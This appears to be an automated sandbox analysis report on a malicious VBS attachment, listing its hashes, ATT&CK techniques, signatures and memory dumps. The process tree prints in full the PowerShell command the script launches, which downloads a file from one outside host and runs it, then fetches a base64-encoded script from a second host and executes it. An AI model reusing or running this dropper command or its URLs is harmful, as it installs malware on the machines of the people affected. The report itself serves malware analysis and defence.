82a5c2c1860860f5cb9bae361e09f1103fd8740aba1bed084e15e8a487a4510a

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
19/09/2024, 10:14

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General

Target

Invio_File_5_2e1c05a00c25827239e33c13d5dfad97.vbs
Size

2.0MB
MD5

9f27498cc3e4c9551b2a09b80a695e20
SHA1

7be68189f366989b40ddcbdb65a73e71af752755
SHA256

a35d561f3a00760bb2da5329c72ca4e7d6c30a5f81c8bb2af508f4d468c86855
SHA512

68858adb77479ffb7f9bd69869e5be06d7c7c8424e3e657b51d01afac61dc3af640a3fbce75d98d4413ff310ae214b90d65a6ae61ad9f15f036a542f4003c941
SSDEEP

192:MVp2kmF6uwAS6X9OHrNRL7Qf8i9hwuH7+o4kXpyHHxi:M72kmF7wAOL/Qf8xTcXcxi

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://dbi.willjohnson.net/?need=5a5210f&vid=vb1&53969

exe.dropper

http://www.luigicafagna.it/wp-content/uploads/2017/10/SKMBT_C22017100712541.jpg

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
8	2648	powershell.exe
9	2648	powershell.exe
20	2648	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2648	powershell.exe
2648	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2648	powershell.exe
2648	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2648	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4056 wrote to memory of 2648	4056	WScript.exe	82
PID 4056 wrote to memory of 2648	4056	WScript.exe	82

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invio_File_5_2e1c05a00c25827239e33c13d5dfad97.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" try{ $a = $env:temp + '\122.jpg';((New-Object Net.WebClient).DownloadFile(('http://www.luigicafagna.it/wp-content/uploads/2017/10/SKMBT_C22017100712541.jpg'),$a));start-process $a;}catch{};iex ( [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( ((New-Object Net.WebClient).DownloadString('http://dbi.willjohnson.net/?need=5a5210f&vid=vb1&53969')))));acyww="bguvv";
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y0ppxqwe.aai.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2648-0-0x00007FF8F2953000-0x00007FF8F2955000-memory.dmp

Filesize
8KB

Download
memory/2648-1-0x0000027538050000-0x0000027538072000-memory.dmp

Filesize
136KB

Download
memory/2648-11-0x00007FF8F2950000-0x00007FF8F3411000-memory.dmp

Filesize
10.8MB

Download
memory/2648-12-0x00007FF8F2950000-0x00007FF8F3411000-memory.dmp

Filesize
10.8MB

Download
memory/2648-13-0x00007FF8F2953000-0x00007FF8F2955000-memory.dmp

Filesize
8KB

Download
memory/2648-14-0x00007FF8F2950000-0x00007FF8F3411000-memory.dmp

Filesize
10.8MB

Download
memory/2648-15-0x00007FF8F2950000-0x00007FF8F3411000-memory.dmp

Filesize
10.8MB

Download
memory/2648-18-0x00007FF8F2950000-0x00007FF8F3411000-memory.dmp

Filesize
10.8MB

Download
memory/2648-19-0x00007FF8F2950000-0x00007FF8F3411000-memory.dmp

Filesize
10.8MB

Download